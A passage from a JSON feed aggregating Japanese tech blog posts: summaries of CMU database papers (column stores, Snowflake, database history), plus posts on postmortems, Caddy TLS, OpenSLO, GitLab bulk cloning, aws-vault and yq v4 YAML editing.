AIとなる。列指向ストアに置ける最適化手法とその影響列指向ストアの最適化手法においてどの影響が大きいかを測定するためそれぞれを無効化することで検証を行なう。測定対象の最適化項目としては以下の4つを対象とする。ブロックプロセッシングの有効化(B)または無効化(b)Invisible joinの有効化(I)または無効化(i)保存時のデータ圧縮の有効化(C)または無効化(c)遅延マテリアライゼーションの有効化(L)または無効化(l)結果は平均するとBICL > bICL > BiCL > biCL > BicL > bicL > biclとなる。まとめと考察既に知られていたように行指向ストアは列指向ストアに対して常に優れたパフォーマンスを発揮した。リアライゼーションとデータの圧縮はパフォーマンスの改善に大きく影響した。ブロックプロセッシングやInvisible Joinも上記の二つに比べると影響は小さいものの最適化として有効に働いた。Oracle Document 索引↩Bloom Filters↩","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/3_columner_store_vs_rower_store","isoDate":"2023-02-12T15:22:37.000Z","dateMiliSeconds":1676215357000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Caddy の Internal TLS 証明書の有効期間を指定する","contentSnippet":"以前 ワンライナーで https の Reverse Proxy を実行する という記事で Caddy を使うと local での開発用に任意のドメインの証明書を簡単に発行できるし CA の証明書も OS の証明書ストアに保存してくれるた","link":"https://blog.1q77.com/2023/02/caddy-internal-tls-cert-lifetime/","isoDate":"2023-02-09T14:29:32.000Z","dateMiliSeconds":1675952972000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"『ポストモーテムはじめました』というタイトルで登壇しました。","contentSnippet":"概要インシデントにどう対応してきたか？みんなで学ぶポストモーテム Lunch LT というイベントで『ポストモーテムはじめました』というタイトルで登壇しました。この登壇には元記事があって良いポストモーテムを執筆するために必要な5つのポイントです。この記事に対していくつかの加筆修正を行い資料にしました。資料登壇資料になります。 speakerdeck.comあとがきポストモーテムについて考えたり調べていくと仕組みよりも組織としての心がけが大事だと思いました。発表の性質や時間の都合上SREでの話に留めたのですが、品質管理についても言及しながらまとめていく活動もしたい。組織を作っていくなら下の2冊はとてもオススメです。心理的安全性のつくりかた　「心理的柔軟性」が困難を乗り越えるチームに変える作者:石井遼介日本能率協会マネジメントセンターAmazon失敗の科学 失敗から学習する組織、学習できない組織作者:マシュー・サイドディスカヴァー・トゥエンティワンAmazon品質管理についてはこちらを参考にしました。失敗を後悔する「恥」として捉えてはいけない。学習する機会と捉え、次に活かせば良い。そのためのスキルが品質管理。ビジュアル品質管理の基本 第5版作者:内田 治日経BPマーケティング(日本経済新聞出版Amazon登壇した御礼をいただいた。『インシデントにどう対応してきたか？みんなで学ぶポストモーテム Lunch LT』というイベント登壇の御礼品をいただけました。　#LT_findy pic.twitter.com/9ll5ig0ZjA— nwiizo (@nwiizo) 2023年2月21日 参考資料SREとはなにかhttps://sreake.com/blog/what-is-sre/良いポストモーテムを執筆するために必要な5つのポイントhttps://sreake.com/blog/5point-good-postmortem/Part III. Practiceshttps://sre.google/sre-book/part-III-practices/SRE サイトリライアビリティエンジニアリングhttps://www.oreilly.co.jp/books/9784873117911/ウェブオペレーションhttps://www.oreilly.co.jp/books/9784873114934/Postmortem Culture: Learning from Failurehttps://sre.google/sre-book/postmortem-culture/チームが機能するとはどういうことか──「学習力」と「実行力」を高める実践アプローチよりhttps://www.amazon.co.jp/dp/B00N8J1NPQ","link":"https://syu-m-5151.hatenablog.com/entry/2023/02/09/113316","isoDate":"2023-02-09T02:33:16.000Z","dateMiliSeconds":1675909996000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Snowflakeの論文を読む","contentSnippet":"この記事の趣旨前回と同様にCMU Advanced Databas Systems Spring2023のReading Assignmentとして出ている論文を読み、感想と抄訳のようなものにまとめます。まとめていたのですが、そもそも全体をまとめてしまっていいのか？ 文量もふえてしまうので論文紹介のやり方 / How to reviewで紹介されている方法を参考にやっていきます。ただし実装論文が対象なので手法の説明は厚めにとりあげ、結果については省略します。今回は近年DWHとして存在感を増しているSnowflakeがどのようなアーキテクチャを取っているか、そしてどのように分散システムの上にデータベースシステムを構築しているかについての内容になります。https://15721.courses.cs.cmu.edu/spring2023/papers/02-modern/vuppalapati-nsdi22.pdfBuilding An Elastic Query Engine on Disaggregated Storage研究全体の背景Cloud技術をベースとしたデータウェアハウス(DWH)であるSnowflakeの運用経験に基づいた論文。Snowflakeは計算リソースとストレージの柔軟性、マルチテナント、高いパフォーマンスを目的にデザインされている。この論文ではSnowflakeが設計と実装においてどのようにCloud技術を応用し目的を達成しているかについて書かれている。問題意識既存のクエリ実行エンジンやDWHではShared-nothing方式を採用することでデータをノードに分散させ、処理をスケールさせたり高いパフォーマンスを実現していた。一方でワークロードによって要求のことなる各種コンピュータリソースを適切に分配することが難しい、Shared-nothingによる静的にパーティションされたデータでは要求によってノードを増減させることが難しいという問題があった。論文の目的SnowflakeがどのようなアーキテクチャによってShared-nothingが抱える問題を解決し、またクエリプランニングと最適化、同時実行制御を行っているのかの実装をまとめ、紹介している。手法の説明設計の概要Snowflakeでは永続(persistent)データと中間(intermediate)データで扱かいを変えている。Figure1: Snowflake (Virtual) Warehouse Architecture一時ストレージの設計SSDで構成されている。一時データは可能な限りメモリに保存されメモリで保持しきれないデータはスワップ領域のようにSSDに保存される。さらにSSDの空き容量が枯渇した場合、一時的に永続ストレージに保存される。一時ストレージは永続化が不要なデータの保管以外にも永続化データのキャッシュとしても機能する。このキャッシュは日和見的(opportunistically)キャッシュと呼ばれており、その理由は中間データを常に優先するからである。クエリスケジューリングユーザーからのクエリはサービスエンドポイントでパース、実行計画の生成、最適化、実行に必要タスクの生成が行なわれ、ここで生成されたread/writeを含むタスクは計算リソースに割り振られ、計算リソースから必要に応じて一時、永続ストレージからのデータ取得が行なわれる。このときタスクの割り振りは一時ストレージが対象の永続データをキャッシュしているかも考慮される。またSnowflakeは Work stealingという他ノードに割り振られたタスクをあるノードの方が速く処理できる場合、臨機応変にタスクを実行するしくみがある。リソースの柔軟性ストレージと計算リソースを分離することでSnowflakeはそれぞれを独立してスケールアウトさせている。ストレージの柔軟性はデータストアであるS3に委任している一方で、計算リソースの柔軟性は事前に暖気運転されたノードプールによって実現している。Snowflakeでは永続データのキャッシュ時に保存されるノードが決っている一方で、対象となるデータをキャッシュするノードがない場合、一時的にほかのノードにタスクを割り振り計算リソースがスケールし対象となるデータがキャッシュされた時に再度タスクを割り当てるという機能が存在する。まとめと考察SnowflakeはS3を永続ストレージとして使用、VM全体を計算リソースとそのメモリ、スワップ領域とみなすことでスケーラビリティと高いパフォーマンスを実現した。とくに日和見的キャッシュとタスクスケジューリングメカニズムはShared-nothing方式の抱えていた、リバランスの問題を解決した。Snowflakeが現在達成できていないマルチテナントや計算リソースの高いユーティリゼーションの実現方法としてあげている手法をとっているため、今後の機能追加が競争力維持のために重要となる。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/2_snowflake_sigmod_22","isoDate":"2023-02-07T15:34:03.000Z","dateMiliSeconds":1675784043000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"OpenSLO とは？","contentSnippet":"はじめに OpenSLO の概要に触れながら SLO as Code の現状についてお話しします。 OpenSLOとは？ OpenSLO とは、サービスレベル目標 (SLO)、それに関連するリソースの記述形式を標準化する […]The post OpenSLO とは？ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/openslo/","isoDate":"2023-02-07T03:37:40.000Z","dateMiliSeconds":1675741060000,"authorName":"Sreake","authorId":"Sreake"},{"title":"CMU Advanced Database Systems Spring2023のReading Assignmentを読む part1","contentSnippet":"CMU Advanced Database Systems Spring2023とはカーネギメロン大学(CMU)ではAdvanced Database Systemsという講義が開講されており、特に2023年1月始まりの講義です。講義の内容はモダンなDBMSの内部実装を学んで行くコースとなっており、データベースの歴史を皮切りにOLAP DB、ストレージモデルやCompressionなどなど様々な実装を学べるそうです。https://15721.courses.cs.cmu.edu/spring2023/この講義はReading Assignmentがあり、その対象となる論文や書籍内容は一般に公開されています。(一部非公開)この記事ではその第一回、History of Databasesの\\"What Goes Around Comes Around\\"を読んだ感想文となります。CMU生にはさらにWhat \\"What Goes Around Comes Around... And Around\\"という2023年公開の最新版があるそうです。おそらくドキュメント指向やKVS、グラフ指向やNewSQLなど様々な加筆があるのでしょう。読んでみたいですね。論文を読んでIMS、CODASYL時代からリレーショナルへの変遷をたどったことで後世においてより良いとして選ばれたものとそれへの反対、新しい機能の提案とそれが市場に受け入れられるプロセス、そして複雑さとシンプルさのサイクルを学んだ。おそらくこれらの変遷、市場との関わり方はデータベースのみならずあらゆることに適応できるんじゃないかと思う。現在の比較的新しい技術であるNewSQLはもともと市場のelepahntであるGoogleにより生み出され、また既存のRDBが抱えていたwriteスケールアウトへの課題からおそらく今後受容されるのではないかと思う。またXMLで生まれたセミ構造化が比較的シンプルな現在のJSONやドキュメントDBに受け継がれたこと、またビジネス側の素早い開発に対応したいというニーズの合致により現在の成功があるのでしょう。一方でOracleのConverged Databaseの考え方は正しいと思える反面、RDBの起原であるシンプルさからは遠ざかっているように感じる。XMLやCODASYLほど難しくなければ大丈夫なのだろうが、このまま機能を膨らませ続けると……と不安にもなる。What Goes Around Comes AroundAbstractこの論文はタイトルからわかるとおりデータベースの歴史についてまとめたもので、1960年代から2006年までの35年を9つの時代に分けて振り返っている。35年の歴史の中でデータモデルは共通したアイデアが多く、たった数種類しか登場していない。データベースの歴史を学ぶ重要性としてほとんどの研究者は歴史を学んでおらず、すでに否定されたアプローチを再発してしまうことがあるためである。実際今(2006年当時)のXML時代は1970年代のCODASYLの「複雑さ」という失敗を繰り返している。Introductionデータモデルの提案は1960年代から始まった。この論文では以下の9つの時代についてまとめている。階層型(IMS): 1960年代後半から1970年代にかけてネットワーク(CODASYL): 1970年代リレーショナル: 1970年代から1980年代前半にかけてエンティティ-リレーションシップ: 1970年代拡張リレーショナル: 1980年代セマンティック: 1970年代後半から1980年代オブジェクト指向: 1980年代後半から1990年代前半オブジェクトリレーショナル: 1980年代後半から1990年代前半セミ構造化: 1990年代後半から現在(2006年当時)階層型(IMS): 1960年代後半から1970年代にかけてIMSは1968年にリリースされた階層型データモデルでレコードタイプの概念を持っていた。レコードタイプとはデータ型に紐付いた名前のついたフィールドの集まりである。それぞれのインスタンスのレコードタイプはレコードタイプによって指定されたデータの説明に従っており、またいくつかの名前付きフィールドはどのレコードを指定しているのか明示していなければならない(Keyのようなもの)。そしてレコードタイプは木構造を成している1これらを満たす木構造データには2つの課題があり、は情報の重複と(ルート以外)親が必ず存在しなければ行けないことである。コメント: 現代プログラミングでも情報の重複は同様の理由で忌諱されてますね。IMSが階層型データを選んだのはデータ処理をシンプルにするためである。IMSの操作言語DL/1は1レコードずつしか処理できず(record-at-a-time)、プログラマがクエリのアルゴリズムを記述しIMSが実行する方式を取っていた。IMSは4つのストレージフォーマットがありいくつかはDL/1の実行に制限を与えた。それはオペレーションのパフォーマンス劣化を防ぐためであったものの、DL/1のプログラムが正しく動くことを保証できないためデータの保存方法を最適化することができなかった。データベースアプリケーションがどんなチューニングが行われたかに関わらず物理レベルで動き続けることをデータの物理的独立性(physical data independence)と呼ぶ。DBMSアプリケーションは通常一度に書かれるわけではないため重要である。新規プログラムが追加されるたびにチューニングの需要は変わり、より良いDBMSのパフォーマンスはストレージの構成を変更することで達成される。データの論理的独立性(logical data independence)をサポートしていた。コメント: ビジネスロジックが増えてもDBMSを使うアプリの機能を追加できないと困る上で記載したIMSの課題を解決するためにIMSは異なる2つのデータベースからデータタイプを共通の値で\\"fused(joined)\\"する方法を提供した。このIMSの特徴から以下のレッスンを学ぶことができる。データの物理的・論理的独立性は非常に望ましい木構造データモデルはとても制限的洗練された木構造データの論理的データ再構成は難しいrecord-at-a-timeユーザーインターフェースはプログラマにマニュアルのクエリ最適化を強制し、それはしばしば難しい。ネットワーク(CODASYL): 1970年代CODASYL(Committie on Data Systems Languages)委員会は1969年にネットワークデータモデルのレポートをリリースした。委員会は1971年、1973年とread-at-a-time型データ処理言語の仕様をリリースしており、アドホック型の委員会であった。ネットワークデータモデルはそれぞれKeyを持ったレコードタイプの集まりから構成されており、木構造というよりはネットワーク構造になっている。インスタンスは複数のownerを持つことができ、IMSが\\"fused\\"として提供していたデータ構造をより自然に表現できた。childレコードタイプを持つことができ、要するに1-to-nの関係が成り立つ。CODASYLのネットワークは複数の名前の付きレコードタイプと名前付きsetからなるグラフであり、そこには必ず一つ以上のentry pointが存在する。entry pointとはいずれのsetのchildでもないレコードセットである。このCODASYLのデータ構造はIMSのいくつかの問題を解決したものの、setが双方向関係(two-way relationship)しか示すことができず三方向関係(three-way relationship)を表現する場合3つのsetが必要になり不自然な表現になってしまう。コメント: 3つのFKを持つテーブルを作るときにjunction tableが3必要になるからってこと？またCODASYLのデータアクセス言語はrecord-at-a-time方式を取っており、子レコードタイプのentry pointとなる親以外の親に到達したい場合、entry pointのsetに属する子を探しその中から子につながる特定のsetを持つ親を探すという方法を取る。プログラマが最後にアプリケーションがアクセスしたレコード、最後にアクセスしたレコードのレコードタイプ、そして最後にアクセスしたレコードのsetタイプを管理する必要がありCharlie Bachman(産業界のデータベース研究者)が「四次元を航海するようだ」と表現下ほど難解であった。加えてIMSがそれぞれのデータベースが独立して外部データソースからのバルクロードが可能だったに対し、CODASYLはすべてのデータが一つの大きなネットワークであったため大きなデータを一度にロードする必要があり時間がかかった。そしてCODASYLのデータベースが破損した場合すべてのデータをダンプから復元する必要があり、データの復旧に多くの時間がかかった。このCODASYLの特性から以下のレッスンを学ぶことができる。ネットワークは階層型に比べ柔軟であるが複雑でもある。ネットワークの読み込みと復旧は階層型に比べ複雑である。リレーショナル: 1970年代から1980年代前半にかけて階層型とネットワーク型データベースを背景に1970年、Ted Coddはリレーショナルモデルを提案した。このデータモデルはデータの独立性にフォーカスされている。この提案は以下の3つである。データをシンプルに構造で保存する(テーブル)データにはハイレベルなset-at-a-time DMLでアクセスする物理ストレージへの提案は不要シンプルなデータ構造にすることで論理的データの独立性を、ハイレベルなDMLでを提供することで物理的データの独立性を提供し、物理ストレージの提案を不要とした。またリレーショナルモデルの柔軟さはほとんどすべてのデータを表現可能というアドバンテージを実現した。研究者を始めとしたリレーショナルデータベース推進派と産業界のDBMSユーザーによるCODASYL推進派で、どちらのほうが優れているかという議論が行われた。マイコンの大量生産と一般化により、OracleやINGRESなど多くの商用リレーショナルシスタムが台頭した。一方で既存のネットワークモデルシステムは移植性が低くマイコンではあまり広がらなかった。しかし産業界が強いメインフレームではIMSやIDMSなどリレーショナルではないシステムが引き続き使われた。また現実的なデータマネジメントはメインフレームで行われた。1984年にIBMがDB/2をメインフレーム向けにリリース。DB/2は容易に使うことができたため市場で大きな成功を収め、リレーショナルデータベースをの今後を決定付けSQLはリレーショナル言語のデファクトとなった。コメント: RDBが成功するのは必然のように思えるがIBMのDB/2がリリースされなければどのように展開していたのだろうその後IBMはIMSのインターフェースとしてDL/1だけではなくSQLを対応する方針を取った。IMSの上にSQLを対応させるのは非常に難航した。これらの経緯から以下のレッスンを学ぶことができる。Set-at-a-time言語は物理的データの独立性を向上させるため、データモデルに関わらず優れている論理的データ独立性はシンプルなデータモデルほど達成しやすい技術的な議論は技術的な理由よりも市場の雄によって左右されることが多いクエリオプティマイザはDBMSアプリケーションのプログラマによって書かれたrecord-at-a-timeのクエリより優れていたエンティティ-リレーションシップ: 1970年代Peter Chenは1970年代中盤にリレーショナルやCODASYL、階層型の大体としてエンティティ-リレーションシップ(E-R)データモデルを提案した。この提案ではデータベースをエンティティのインスタンスの集合として捉え、いずれのエンティティもアトリビュートというエンティティの特徴を定めるデータエレメントを持つと定義した。アトリビュートをユニークなデータ(Key)としてデザインし、エンティティ間でリレーションシップを持つと定義した。データモデルとしてE-Rデータモデルが受け入れられることはなかった一方でデータベース(特にスキーマ)のデザインツールとして大きく成功した。当時すでに第一から第四を含む複数の正規化が提案されていたものの、機能的依存関係(Functional Dependencies)などを前提としていた。そのためデータベースアドミニストレータにとってはすぐに適用することが難しかった一方で、E-Rデータモデルを使用した手法とツールは第三正規化を行ったテーブル群を提供できたため大きく成功した。このE-Rデータモデルの経緯から機能的依存関係の理解は多くの人々にとって難しいという学びを得ることができる。拡張リレーショナル: 1980年代1980年代初頭頃からリレーションデータベースやクエリ言語の考えを拡張する形で様々論文が発表された。その中で発表された考えの中で特に影響の大きかったものはGemというクエリ言語であり特徴は以下である。Set-valued attributesアトリビュートに対して、そのようなデータ型を提供するAggregation (tuple-reference as a data type)Foreign Keyで参照されたほかエンティティのタプルに対して、\\"cascated dot\\"記法による以下のようなアクセス方法を提供する。Select Supply.SR.snoFrom SupplyWhere Supply.PT.pcolor = \\"red\\"Generalizationアトリビュートが共通する複数のエンティティがある時、共通部分を切り出したエンティティとそれを継承(inherit)するエンティティを作成できる。Gemは様々な便利な機能を提供した一方でリレーショナルモデルのクエリ言語に比べて速度が不足した。トランザクション処理のパフォーマンスとスケーラビリティに焦点を起き、大規模なビジネスシーンで使われた一方拡張リレーショナルなアイデアが与えた影響は一部にとどまった。そこから以下の学びを得ることができる。大きなパフォーマンスの改善または機能的優位性がない限り、新しい機能は受け入れられないセマンティック: 1970年代後半から1980年代時をおなじくしてリレーショナルとは他の学派がリレーショナルデータモデルは意味的に貧弱であると主張し、ポストリレーショナルデータモデルとしてセマンティックデータモデル(SDM)を提案した。SDMはクラスと呼ばれる同じスキーマに従うレコードの集まりに焦点を当てている。SDMはGemのようにAggrigationやGeneralizationを実装し、またSDMのGemeralizationでは複数のクラス同士で対応関係を持つアトリビュートや複数のエンティティからの継承(multiple inheritance)を提供した。そしてSDMのクラスはクラス変数を持っていた。ほとんどのSDMは非常に複雑であり、机上の提案で有ることが多かった。一部SDMデータベースを実装したものがあったが、そのときにはすでにSQLがデファクトと鳴っており、SQLとの互換性がないシステムは市場において成功を収めることは難しかった。SDMは拡張リレーショナルと同様の問題を2つ抱えていた。一つはほとんどの機能がリレーショナルデータベースで再現可能であること。もう一つは著名なベンダーはトランザクション処理の効率化に心血を注いでおり、あまり大きな影響を残すことがなかった。オブジェクト指向: 1980年代後半から1990年代前半1980年代半ばからオブジェクト指向DBMS(OODB)に関心が集まった。この流れはリレーショナルデータベースとC++をはじめとしたオブジェクト指向言語との間のインピーダンスミスマッチに起因するものであった。1970年末期、RDBでは独自の命名システム、データ型、クエリの結果を持ち、またプログラミング言語もそれらに対する独自のシステムを持っていた。データベースとプログラミング言語がそれぞれにやり取りするための仕組みを提供する必要があった。DBMSとプログラミング言語をより密結合させる機能を実装する流れができ、特に永続的プログラミング言語(persistent programming language)というプログラミング言語の変数でディスクベースのデータをメモリに乗ったデータのように扱う方法などを提供する言語を実装しようとした。プログラミング言語の取り組みはプログラミング言語の専門家には受け入れられず一般化することはなかった。このような経緯とC++の興盛があり1980年半ばに永続的プログラミング言語が再度注目され、またオブジェクト指向データベース(OODB)の研究が盛んになった。OODBではC++をデータモデルとしてサポートし、その結果C++のオブジェクトを永続化した。永続化C++はエンジニア市場に訴求するために1. 問い合わせはC++オブジェクトを通して参照する、2. トランザクション管理を行わない、3. 従来のC++と競争できるランタイムを提供する、といった要件を定めた。コメント: ORMマッパーのようなプログラム側でよしなにするのではなくDBMSで対処しようとするのが実にデータベース脳しかし以下のような理由からすべてのOODBベンダーは失敗した。OODBベンダーはデータのロード、アンロード機能を提供したが多くの顧客はそれに大金を払うほどの価値を見出さなかったスタンダードが存在せず、全てのOODBは互換性がなかった永続化されたオブジェクトのなにかが変更された場合、それを使用するすべてのプログラムは再読込を必要としたC++以外で書かれたアプリケーションが一つでもあるとOODBのデータを共有できなかった加えてOODBはトランザクション管理がなくビジネスデータを扱うには貧弱で、プログラムがデータベース上のすべてのデータにアクセスできる。そしてCODASYL時代と同様record-at-a-timeのクエリしか提供しないといった理由から市場に浸透することはなかった。これらのOODB時代から以下の教訓を得られる。システムは大きな課題を解決できなければ売れない永続的プログラミング言語はプログラミング言語のコミュニティからのサポートがなければ成功しないオブジェクトリレーショナル: 1980年代後半から1990年代前半オブジェクトリレーショナル(OR)時代はINGRESで地理情報システム(GIS)を扱いたいというモチベーションから始まった。INGRESSのB-treeでは一次元アクセスしか実装されておらず、簡単なGIS検索をSQLで表現することが難しく普通のB-treeで処理しようとすると非常に性能が悪かった。初期のRDBでは整数型、フロート型、文字列型と基本的なオペレータ、B-treeによるデータアクセスのみがサポートされていたが、GISをはじめとしたそれ以外のデータ型とアクセス方法を必要とする市場があった。そのような状況に対応するためORはユーザー定義のデータ型、オペレータ、関数、そしてアクセスメソッドの機能をSQLエンジンに追加した。その機能を搭載したプロトタイプとして1986年にPostgresが発表した。GISのような多次元インデックスに対応するためQuad treeやR-treeが提案され、高性能GIS DBMSを構築することができた。時をおなじくして、Sybaseがストアドプロシージャを開発した。これによりアプリケーションとDBMSの間で処理を少ないやり取りに減らすことができ、アプリケーションのパフォーマンスを効率化することができた。オブジェクト指向RDBMSとなった。当時PostgresはIlustraにより商用化され数年間は市場を探すことに苦労したものの、その後のインターネットの流行の波に乗りサイバースペースのデータベース(the data base for cyberspace)として成功を収めた。Postgresによって発展したOR技術はOracleなどにも適用され、またXMLのサポートにも使われている(た)。一方でOR技術はスタンダードが存在しないためビジネスでの仕様がはばかられた。我々はこのPostgresとオブジェクトリレーショナルから以下の学びを得られた。オブジェクトリレーショナルのメリットは以下の2つであるデータベースにコードをのせられる(またコードとデータの境界を曖昧にする)ユーザー定義アクセスメソッドの提供新しい技術を広げるにはスタンダードか大手によるゴリ押しが必須セミ構造化: 1990年代後半から現在(2006年当時)直近5年(2006年当時のため2000年ごろ)、セミ構造化データの研究の波が来ている。特にXMLを中心としたXMLSchemaやXQueryと行った技術である。それぞれの研究の共通点として特に下記の2つがある。Schema Last(データが先)複雑なネットワーク指向データモデル(XMLデータモデル)Schema Lastセミ構造化以前のデータモデルではデータをDBMSのに蓄積するためにはスキーマが必要であった。一方でセミ構造化データではスキーマ定義を後回し、または定義せずデータインスタンス自体が構造を説明する方式を取った。アトリビュートがメタデータを持つ必要がある。一方でそのようなデータは同一データタイプのインスタンス同士を比較することが難しい。なぜなら同じオブジェクトの情報が同じ表現をしていることとは限らないからである。このような状態をセマンティック異質性(semantic heterogeneity)と呼ぶ。データは以下の4種類に分類することができる。完全な構造化データいくらかのフィールド名を含む完全な構造化データセミ構造化データテキストデータSchema Lastアプローチを取れるのは3つ目のセミ構造化のみである。なぜなら1,2はORDBMSとして扱われるデータであり、4のテキストデータは完全にスキーマが存在しないからである。またそのようなデータは控えめな量であり、Schema lastデータベースはニッチなマーケットと言えるだろう。コメント: 2023年現在、確かに筆頭ではないもののニッチと言うには大きめな需要だと考える複雑なネットワーク指向データモデル(XMLデータモデル)XMLデータモデルはDocument Type Definitions(DTDs)またはXMLSchemaにより記載されるデータで、DBMS研究者のコミュニティでは欠陥があると考えられている。なぜならこれらの標準は今まで提案されたすべてのデータモデルの仕様を含み、十分複雑な仕様含むからである。例えばXMLSchemaは以下のような特徴がある。IMSのように階層化できるCODASYLやGem、SDMのように参照できるSDMのようにセット・アトリビュートを持てるSDMのように他のレコードを継承できるこれらに加えXMLSchemaはDBMSコミュニティがその複雑さのために既存のデータモデルには用いなかった、union type(一つのアトリビュートが複数のデータ型を取れる機能)などを実装している。XMLSchema以上に複雑なデータモデルも過去には存在していた。これほど複雑なデータモデルについて考察することは難しいが、以下の様なシナリオが考えられる。XMLSchemaはその複雑さから失敗するよりシンプルなXMLSchemaのデータ指向なサブセットが提案されるXMLSchemaはIMSやCODASYLと同様の問題を抱えながらも成功するコメント: 2023年現在JSONは2番目のシナリオのもと十分に成功したと言えるセミ構造化データのサマリXMLデータモデルはその複数の機能からまとめることは難しいが、XMLは通信をまたいで連携するためのデータモデルとして成功しあらゆるシステムはXMLデータの送受信に備えることになるだろう。コメント: 2023年現在ではJSONで置き換えられつつあるとはいえ、セミ構造化データが連携用データモデルとして成功したと言える理由は簡単で他のデータフォーマットがファイアウォールを超えることができない一方で、XMLはシステム間の成約をこう得てプレーンテキストとしてやり取りすることができるためである。XML DBMSは(2006年)現在主流なDBMSと競争することのできるパフォーマンスのエンジンとなると思われるが、Schema Lastは限られた市場でのものになるだろう。次にXqueryは複数ベンダーのOR SQLシステムをマッピングできるサブセットとなるだろう。XqueryをUDFとして定義することは難しくないため、既存のエンジンの上にXQuery関数をUDFとして定義することでSQLインターフェースの上に実装されるだろう。コメント: 実際2023年現在に主流なDBMSであるOracle、MySQL、PostgreSQLはいずれもXqueryとXML機能を提供しているまたXMLは時折セマンティック異質性(semantic heterogeneity)を解決すると考えられているがそのようなことはないだろう。これらのセミ構造化データとXMLはから以下のレッスンが得られる。Schema Lastはおそらくニッチな市場になるだろうXQueryはほぼOR SQLの別のシンタックスとなるだろうXMLはエンタープライズにおけるセマンティック異質性は解決しないまとめ(Full Circle)このペーパーでは30年間のデータモデルの変遷を追って来たが、30年間で一周したと言えるだろう。XMLによる再びの複雑さである。1980年代前半にCODASYLとリレーショナルの対立を経験したものはXMLのの成功を疑っている。歴史と同じ過ちを繰り返さないためにはすでにその道をたどった人々の肩の上に乗ることが重要である。it is always wise to stand on the shoulders of those who went before, rather than on their feet.直近の20年(1980年から2000年にかけて)本質的に新しかったデータモデルのアイデアはデータベース上のコード(オブジェクトリレーショナルから)Schema last(セミ構造化から)のみであった。注釈https://www.imagazine.co.jp/ims-data-solution/)より↩","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/1_history_of_database","isoDate":"2023-01-29T17:44:04.000Z","dateMiliSeconds":1675014244000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"GitLabで指定したグループ内の全てのリポジトリを一括でcloneする","contentSnippet":"概要1個1個丹精込めて手動でcloneすることに限界を感じたので、一括で自分に関連するリポジトリをcloneする シェルスクリプト.zshrc# リポジトリのディレクトリを作成してからcloneする# 第1引数 URL(https://gitlab.example.com/diaspora/diaspora-client.git)function git_clone_to_path() { [[ -z ${commands[git]} ]] \\\\ && { echo \'git is required\'; return 1; } loca...","link":"https://zenn.dev/tayusa/articles/ae5911391c9440","isoDate":"2023-01-29T17:07:31.000Z","dateMiliSeconds":1675012051000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"ArtifactHUBについてのメモ","contentSnippet":"ArtifactHUB というコンテナイメージHelm Chartなどを登録・検索することのできるツールを試してみたのでメモ。https://artifacthub.io/ ArtifactHUB についてコンテナイメージHelm Chartなどを「リポジトリ」として登録・検索することができるよう。登録できるリポジトリの種類は下記で確認できる。https://artifacthub.io/docs/topics/repositories/アカウント登録方法は現在下記の3つがあるemailgithubgoogle リポジトリの登録リポジトリ登...","link":"https://zenn.dev/bells17/articles/artifacthub-note","isoDate":"2023-01-21T18:21:58.000Z","dateMiliSeconds":1674325318000,"authorName":"bells17","authorId":"bells17"},{"title":"container-structure-testによるコンテナのテスト","contentSnippet":"Googleが作成しているcontainer-structure-testというコンテナをテストするツールを試したのでメモ。かなり単純なツールなのでぶっちゃけREADMEに書いてあることを読めばわかるんだけど一応情報をまとめた。https://github.com/GoogleContainerTools/container-structure-testGoogleのブログで紹介されている記事はこちら。https://opensource.googleblog.com/2018/01/container-structure-tests-unit-tests.html cont...","link":"https://zenn.dev/bells17/articles/container-structure-test","isoDate":"2023-01-21T10:54:17.000Z","dateMiliSeconds":1674298457000,"authorName":"bells17","authorId":"bells17"},{"title":"aws-vault のすすめ","contentSnippet":"aws-vault とは AWS の認証情報をローカルに安全に保管する事が出来る CLI ツール GitHub Star 7K⭐ (2022-12-22現在) brew で下記のコマンドのようにインストール可能 リポジト […]The post aws-vault のすすめ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws-vault/","isoDate":"2023-01-19T05:45:36.000Z","dateMiliSeconds":1674107136000,"authorName":"Sreake","authorId":"Sreake"},{"title":"yaml 管理を自動化する時の必須道具 yq(v4) の倒し方","contentSnippet":"yq とはyq はgoで書かれている軽量でポータブルなコマンドライン YAML、JSON、XML プロセッサです。yq は jq に似た構文を使用しますが、json、xml、properties、csv、tsv と同様に yaml ファイルを処理します。記事の執筆時点の2023 年01月17日時点でv4.30.8 がリリースされています。github.comyqyq のv4 はv3 とはかなり異なっています。v3 で端的に書けていたものが、v4 ではより表現力のある構文言語となった結果としてちょっと冗長になったように思えるんですけどjq っぽいので慣れてしまえばよいものだとおもいます 。mikefarah.gitbook.ioyq 使ってみる今回の目的はapplication/deployment.yaml のimageの値をnginx:1.14.2をnginx:1.23.3に書き換えたいと思います。yaml をCIで変更するなんてなんぼでもやってますからね。Path などの概念については説明を省略します。普通にシェル芸としてやっていくときには1日1問、半年以内に習得　シェル・ワンライナー160本ノックなどを参考にすると良い。apiVersion: apps/v1kind: Deploymentmetadata: name: nginx-deploymentspec: selector: matchLabels: app: nginx replicas: 2 # tells deployment to run 2 pods matching the template template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 # 書き換えたいんじゃ ports: - containerPort: 80yq(v4) 使ってみるyq(v4) でreadyq \'.spec.template.spec.containers[0].image\' deployment.yamlnginx:1.14.2yq(v4) でwriteyq -i \'.spec.template.spec.containers[0].image = \\"nginx:1.23.3\\"\' deployment.yaml確認します。yq \'.spec.template.spec.containers[0].image\' deployment.yamlnginx:1.23.3で目的達成しました簡単！yq(v3) との違いyq(v3) にはwriteやreadなどのサブコマンドが撤廃されたので準拠した書き方を覚える必要があると思います。mikefarah.gitbook.ioyq(v4) での変数利用yq(v4)ではstrenv()を利用することで変数を利用することができるIMAGE=nginx yq -i \'.spec.template.spec.containers[0].image = strenv(IMAGE)\' deployment.yaml確認します。yq \'.spec.template.spec.containers[0].image\' deployment.yaml nginxﾔｯﾀﾈ!!左辺にはこちら代入できないみたいなのでそのときには作成してからyq 